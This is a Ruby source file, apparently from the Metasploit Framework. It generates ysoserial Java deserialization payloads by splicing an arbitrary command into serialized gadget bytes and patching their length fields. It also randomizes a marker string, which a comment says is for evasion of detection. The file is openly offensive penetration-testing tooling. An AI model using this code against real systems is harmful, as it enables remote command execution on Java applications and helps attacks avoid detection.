Wei Chen
67 lines
2.3 KiB
Ruby
67 lines
2.3 KiB
Ruby
module Msf
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module Util
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require 'json'
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# TODO:
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# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
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class JavaDeserialization
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PAYLOAD_FILENAME = "ysoserial_payloads.json"
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def self.ysoserial_payload(payload_name, command=nil)
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# Open the JSON file and parse it
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begin
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path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
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json = JSON.parse(File.read(path))
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rescue Errno::ENOENT, JSON::ParserError
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raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
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end
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raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
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# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
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payload = json[payload_name]
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# Based on the status, we'll raise an exception, return a static payload, or
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# generate a dynamic payload with modifications at the specified offsets
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case payload['status']
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when 'unsupported'
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# This exception will occur most commonly with complex payloads that require more than a string
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raise ArgumentError, 'ysoserial payload is unsupported'
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when 'static'
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# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
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return Rex::Text.decode_base64(payload['bytes'])
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when 'dynamic'
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raise ArgumentError, 'missing command parameter' if command.nil?
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bytes = Rex::Text.decode_base64(payload['bytes'])
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# Insert buffer
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buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
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bytes[buffer_offset - 1] += command
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# Overwrite length (multiple times, if necessary)
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length_offsets = payload['lengthOffset']
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length_offsets.each do |length_offset|
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# Extract length as a 16-bit unsigned int, then add the length of the command string
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length = bytes[(length_offset-1)..length_offset].unpack('n').first
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length += command.length.ord
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length = [length].pack("n")
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bytes[(length_offset-1)..length_offset] = length
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end
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# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
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bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
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return bytes
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else
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raise RuntimeError, 'Malformed JSON file'
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end
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end
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end
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end
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end
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